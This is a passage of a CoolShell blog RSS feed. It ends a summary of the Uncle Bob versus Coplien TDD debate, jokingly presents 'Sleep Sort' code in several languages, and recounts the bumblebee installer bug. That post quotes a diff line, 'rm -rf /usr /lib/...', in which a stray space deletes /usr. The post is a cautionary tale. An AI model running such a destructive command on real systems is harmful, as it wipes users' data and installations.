shit。而关于你所说的专业化的事，如果你没有见过一个专业化你怎么知道？”。（不是吗？大多数人都知道怎么开发软件，而不是TDD才是专业化的软件开发。）</p>\n<p>然后，Bob想多谈谈专业化的事，Bob说，在今天，一个不负责任的程序会提交一段他没有跑过单元测试的代码，所以，要确定你没有把一条没有测试过的代码提交到代码库里的最佳做法就是TDD。</p>\n<p>Coplien完全不同意这个说法。他觉得底层的东西是更重要的。他用了一个示例来攻击Bob大叔的这个观点，他先是说代码走查和结对编程都有好的有价值的地方，当然和这个话题不相关。然后他又说了Unit Test，想想我们的单元测试，可能我们的测试案例并不可能测试我们程序中参数的各种状态，这些状态有可能只是半打，有可能是一百个，有可能是2的32次方个，所以，我们可以命中一些状态，也会没有测试到一些状态，我们的测试真的只是试验性的，所以，如果你在测试中发现bug，你真的很幸运。</p>\n<p>随后，Coplien推崇了一个叫“<a href=\"http://en.wikipedia.org/wiki/Design_by_contract\" target=\"_blank\">Design By Contrac</a>t” &#8211; 契约式设计的方法（我在<a title=\"一些软件设计的原则\" href=\"https://coolshell.cn/articles/4535.html\" target=\"_blank\">软件设计中那些方法</a>中提到过，），这个方法认为软件有前验条件，后验条件，还有不变的。这个方法是Eiffel项目使用的一个方法，使用这个方法你可以静态的去做一些检查，相当于你做了一个基础架构来干这些事。Coplien相信这个方法有TDD所有的优点——我需要努力思考我的代码，我需要思考软件的外部接口，而且，Coplien发现这么做会比做测试更有效。这会让你对那些参数的范围考虑地更为宽广，而不是只在测试案例写几个随机分散的值来测试。</p>\n<p>今天，Bertrand Meyer(Eiffel语言的创造者，他也不赞同TDD)把这个方法推进了一步，叫CDD &#8211; Contract Driven Development，这个是一种关注于对象间关系，其在程序运行前提条件和运行后的后验条中达成一种契约，可以通过对契约条件的动态或静态的检查，来对程序的功能进行验证。这样可以让你更有效地测试程序。这种方法需要对业务的重点部位非常好的了解。这是TDD很难做到的（这就是我在《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》一文中说的TDD的测试范围是个很大的问题）。</p>\n<p>Bob大叔似乎在努力回忆CDD和Eiffel，然后他说，TDD不就是干这个的吗？TDD就是把契约变成单元测试，不但测试输入，也测试返回值，这不就是先验条件和后验条件，而且他说，Unit Test和代码结合得更紧，而契约没有和代码结合得紧密，这是他觉得很不舒服的地方。</p>\n<p>Coplien说Bob大叔创建了不应该创建的二元论。他说代码在哪里，UT就跟到哪里，代码有多臃肿，UT就有多臃肿，而UT也是代码，也会有BUG，所以，其实这真是事半功倍。还有一个最有名的示例是ADA编译器，其使用了TDD，反而增加了代码中的BUG，因为你的代码多，测试就多，代码就更多，整个代码就太过臃肿。如果你测试中使用了断言，这意味着你就耦合上了代码，你的测试案例和你的代码耦合地越多，你的代码就越难维护。这就是我在《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》一文中说的TDD的代码臃肿和维护问题）</p>\n<p>Bob大叔为Coplien对代码臃肿的说法感到惊讶。Coplien说，这就是他的经历，他看到的。Bob大叔承认有很多混乱的测试和混乱的代码，他觉得像XUnit这样的工具被滥用了。Coplien打断道，这不是要和你争论的，我争论的是这就是我看到大家在实践的东西。</p>\n<p>Bob大叔反回到，你有没有看到CDD也被滥用的情况？Coplien说，他只觉得目前，软件业对CDD用的还不够。</p>\n<p>最后，时间不够了，Bob大叔问了一个不相干的问题，他说，我们这里有BDD,CDD, TDD, 关于DD，他不知道谁是最先第一个使用带DD这个词的，他说他好像记得一个RDD &#8211; Responsibility Driven Development。</p>\n<p>Coplien对这个问题可能很无语，他只能说——“DD，这是Unix的一个命令嘛，Disk Dump，但这可能算。谢谢你Bob，很高兴又一次见到你 ”</p>\n<p style=\"text-align: center;\">——————————————————正文分割线————————————————————</p>\n<p>看完后，我的感觉如下：</p>\n<ul>\n<li>这是2008年就在讨论的事，而在2011年我发布了《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》后中国这边才开始讨论。（InfoQ和 Thoughtworks怎么不去找Coplien？）</li>\n<li>英语很重要，不懂英语，只看国内的东西，你就容易被洗脑，你就需要更多的时间和精力去思考那些早被人思考过的问题。</li>\n<li>开发和测试，都是需要充分地了解业务，充分的思考，充分权衡后才能做得好的事。并不是你用了哪个方法后就专业了，就NB了。</li>\n<li>相当BS——上不谈业务，下不谈技术，只谈方法论的人和公司，这是绝对的扭曲。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"敏捷水管工\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3778.html\" class=\"wp_rp_title\">敏捷水管工</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li ><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" alt=\"[转]TDD到底美还是不美？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_title\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4891.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>排序算法 Sleep Sort</title>\n\t\t<link>https://coolshell.cn/articles/4883.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4883.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 23 Jun 2011 00:43:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[Sleep]]></category>\n\t\t<category><![CDATA[Sort]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4883</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>排序算法好像是程序员学习编程最多的算法，也可能是算法研究者们最喜欢研究的算法了。排序有很多很多的算法，比如，冒泡，插入，选择，堆，快速，归并等等（你可以看看本站...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4883.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4883.html\">排序算法 Sleep Sort</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>排序算法好像是程序员学习编程最多的算法，也可能是算法研究者们最喜欢研究的算法了。排序有很多很多的算法，比如，冒泡，插入，选择，堆，快速，归并等等（你可以看看本站以前的那些文章：<a title=\"可视化的排序过程\" href=\"https://coolshell.cn/articles/3933.html\" target=\"_blank\">可视化的排序</a>，<a title=\"一个排序算法比较的网站\" href=\"https://coolshell.cn/articles/399.html\" target=\"_blank\">排序算法比较</a>，<a title=\"一个显示排序过程的Python脚本\" href=\"https://coolshell.cn/articles/536.html\" target=\"_blank\">显示排序过程的python</a>）这里向大家介绍一个“巨NB”的排序算法——Sleep Sort。</p>\n<p>闲言少说，请看下面的代码（用Shell脚本写的）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#!/bin/bash\nfunction f() {\n    sleep &quot;$1&quot;\n    echo &quot;$1&quot;\n}\nwhile [ -n &quot;$1&quot; ]\ndo\n    f &quot;$1&quot; &amp;\n    shift\ndone\nwait</pre>\n<p>用法如下：</p>\n<p style=\"padding-left: 30px;\">./sleepsort.bash 5 3 6 3 6 3 1 4 7</p>\n<p>相信你可以会去试一下这个脚本，也相你你试完后你一定会说——“<strong>我擦，真TMD排序了！</strong>”，我还是不要解释这段代码了，过多的解释会不如代码那么直接，而且解释会影响你对这个排序算法的NB性。只想说——<strong>这是正二八经的多线程、多进程排序啊</strong>。我们的<a title=\"可视化的排序过程\" href=\"https://coolshell.cn/articles/3933.html\" target=\"_blank\">Bogo排序</a>也黯然失色啊。</p>\n<p>下面我们需要对这个算法做一些分析——</p>\n<p><span id=\"more-4883\"></span>1）让我们来分析一个这这个程序的算法复杂度，太简单了，不就是O(最大数的秒数)，呵呵。所以，如果出现这样的数列将是恶梦的——2 1 4 3 2 1 99999999</p>\n<p>2）这个排序好是好，但对于负数或浮点数就有bug了。负数的解决方案是，我们可以这样来：x/2+MaxInt/2（时间可能相当长，不过依然工作）。对于浮点数，看看下面的代码.</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#!/bin/bash\nfunction f() {\n  sleep $(echo &quot;($2 - 1) + $1 / 10 ^ $2&quot; | bc -l)\n  echo &quot;$1&quot;\n}\nwhile [ -n &quot;$1&quot; ]\ndo\n  f &quot;$1&quot; $(echo -n &quot;$1&quot; | wc -c) &amp;\n  shift\ndone\nwait</pre>\n<p>3）我们来看看各种语言版本的实现吧。<br />\n<strong>Java</strong></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class SleepSort {\n    public static void main(String[] args) {\n        int[] ints = {1,4,7,3,8,9,2,6,5};\n        SortThread[] sortThreads = new SortThread[ints.length];\n        for (int i = 0; i &lt; sortThreads.length; i++) {\n            sortThreads[i] = new SortThread(ints[i]);\n        }\n        for (int i = 0; i &lt; sortThreads.length; i++) {\n            sortThreads[i].start();\n        }\n    }\n}\nclass SortThread extends Thread{\n    int ms = 0;\n    public SortThread(int ms){\n        this.ms = ms;\n    }\n    public void run(){\n        try {\n            sleep(ms*10+10);\n        } catch (InterruptedException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n        System.out.println(ms);\n    }\n}</pre>\n<p><strong>Javascript</strong></p>\n<p>[javascript]function sleepsort() {<br />\n    for (var i = 0, il = arguments.length; i &lt; il; i++) {<br />\n        (function(args, index) {<br />\n            setTimeout(function() {<br />\n                document.body.innerHTML += args[index] + &#8216;, &#8216;;<br />\n            }, args[index]);<br />\n        }(arguments, i));<br />\n    }<br />\n};<br />\n[/javascript]</p>\n<p><strong>Brainfuck </strong>(关于这门语言，请<a title=\"BT雷人的程序语言（大全）\" href=\"https://coolshell.cn/articles/4458.html\" target=\"_blank\">参看这篇文章</a>)</p>\n<p><code>,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]<br />\n&lt;&lt;[&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]<br />\n&lt;&lt;[ ----------[++++++++++&gt;----------]++++++++++<br />\n&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+&gt;&gt;-]&lt;&lt;&lt;-]  &gt;&gt;&gt;++++++[&lt;++++++++&gt;-]&lt;.&gt;.&gt;&gt;-]&lt;&lt;&lt;-]<br />\n,----------[----------------------.,----------]<br />\n,---&lt;&lt;&lt;+&gt;&gt;&gt;-------[----------------------.,----------]<br />\n&gt;&gt; ----------[++++++++++&gt;----------]++++++++++<br />\n&gt;++++++[&lt;++++++++&gt;-]&lt; ----------[++++++++++&gt;----------]++++++++++<br />\n.&gt;. ----------[++++++++++&gt;----------]++++++++++<br />\n&gt;++&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;+&gt;&gt;-]&lt;&lt;&lt;-]  &gt;&gt;[&gt;[&gt;+&gt;+&lt;&lt;-]&gt;&gt;[&lt;&lt;----------[++++++++++&gt;----------]++++++++++<br />\n&gt;++,&gt;,&gt;++++++++[&lt;------&lt;------&gt;&gt;-]<br />\n&lt;&lt;</code></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li><li ><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" alt=\"伙伴分配器的一个极简实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_title\">伙伴分配器的一个极简实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4883.html\">排序算法 Sleep Sort</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4883.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>63</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个空格引发的惨剧</title>\n\t\t<link>https://coolshell.cn/articles/4875.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4875.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Jun 2011 00:26:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[bumblebee]]></category>\n\t\t<category><![CDATA[Code Review]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4875</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你是否相信如果你的程序里没有检查一个变量会导致怎么系统瘫痪？无论你相不相信，这是我一个亲身经历过的案例，你可以在本站的程序员那些悲催的事儿中找到很多这样的事。这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4875.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>你是否相信如果你的程序里没有检查一个变量会导致怎么系统瘫痪？无论你相不相信，这是我一个亲身经历过的案例，你可以在本站的<a title=\"程序员那些悲催的事儿\" href=\"https://coolshell.cn/articles/3980.html\" target=\"_blank\">程序员那些悲催的事儿</a>中找到很多这样的事。这样的事昨天在发生，今天同样在发生。<a title=\"Unix传奇(上篇)\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">Unix40多年</a>了，在这40年里，程序员发生过各种各样的的惨剧，但是大多数的事情一而再再而三的重演。</p>\n<p>今天的你，可能在开发者各种各样NB的系统，你会相信你的一个空格也能导致系统瘫痪吗？也许你可能很难相信这个事。不过，再下面这个事将告诉你这个血淋淋的事实 —— 一个空格产生的bug可以让你的系统瘫痪。</p>\n<p><a href=\"https://github.com/MrMEEE/bumblebee\">bumblebee</a>是一个开源项目，这个名字也就是变形金刚里的大黄蜂，这个项目是这样介绍自己的——</p>\n<blockquote><p>bumblebee is Optimus support for Linux, with real offloading, and not switchable graphics.. More important.. it works on Optimus Laptops without a graphical multiplexer..</p></blockquote>\n<p>Optimus 是NVIDIA的“优驰”技术，其可以将您的笔记本电脑PC提升到绝佳状态，提供出色的图形性能，并在需要时延长电池续航时间。这个项目是把这个技术移到Linux上来。</p>\n<p>这个项目本来不出名，不过，程序在其安装脚本install.sh里的一个bug让这个项目一下子成了全世界最瞩目的项目，这个bug的fix如下：</p>\n<pre data-enlighter-language=\"diff\" class=\"EnlighterJSRAW\">@@ -348,7 +348,7 @@ case &quot;$DISTRO&quot; in\n-  rm -rf /usr /lib/nvidia-current/xorg/xorg\n+  rm -rf /usr/lib/nvidia-current/xorg/xorg</pre>\n<p>看明白了吗？<strong>空格</strong>。这个空格会导致什么样的问题呢？呵呵。你有没有感到菊花一紧？这个bug绝对的霸气外露！真是验证了<a title=\"如何写出无法维护的代码\" href=\"https://coolshell.cn/articles/4758.html\" target=\"_blank\">“如何写出无法维护代码</a>”的那句话——“<strong>测试你的程序是一种懦夫的行为</strong>”。</p>\n<p>不过，最精彩还不是这个bug，而是全世界程序员的对这个bug 的 code review comments，真的相当的欢乐。请强势围望！</p>\n<p><span id=\"more-4875\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6#diff-1\">https://github.com/MrMEEE/bumblebee/commit/a047be85247755cdbe0acce6#diff-1</a></p>\n<p style=\"text-align: left;\">重点是其中的很多图片——下面的图片众多。</p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115950761.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image001\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115951113.gif\" alt=\"clip_image001\" width=\"500\" height=\"275\" /></a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062012551463.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115950761.gif\"><br />\n</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062012574297.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115951580.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image002\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115951524.jpg\" alt=\"clip_image002\" width=\"292\" height=\"302\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062012590122.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013022333.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013033063.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013042755.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115954514.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image007\" src=\"http://pic003.cnblogs.com/2011/34358/201106/2011062011595582.jpg\" alt=\"clip_image007\" width=\"406\" height=\"455\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115958341.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image010\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115958644.jpg\" alt=\"clip_image010\" width=\"401\" height=\"299\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115958163.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image011\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115959784.jpg\" alt=\"clip_image011\" width=\"408\" height=\"404\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620115959641.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image012\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120001976.jpg\" alt=\"clip_image012\" width=\"400\" height=\"401\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013060775.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120001777.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image014\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120001634.gif\" alt=\"clip_image014\" width=\"400\" height=\"463\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013073049.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002955.gif\" alt=\"\" width=\"480\" height=\"360\" border=\"0\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013083437.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013090259.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002899.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image016\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002202.jpg\" alt=\"clip_image016\" width=\"512\" height=\"384\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013110568.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013121496.jpg\" alt=\"\" /></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002666.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image019\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120002718.jpg\" alt=\"clip_image019\" width=\"397\" height=\"804\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120003129.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image020\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120003540.jpg\" alt=\"clip_image020\" width=\"594\" height=\"488\" border=\"0\" /></a></p>\n<p style=\"text-align: center;\"><a href=\"http://pic003.cnblogs.com/2011/34358/201106/2011062012000453.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"clip_image021\" src=\"http://pic003.cnblogs.com/2011/34358/201106/20110620120004356.jpg\" alt=\"clip_image021\" width=\"400\" height=\"290\" border=\"0\" /></a></p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://pic003.cnblogs.com/2011/1/201106/2011062013135533.jpg\" alt=\"\" /></p>\n<p style=\"text-align: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; 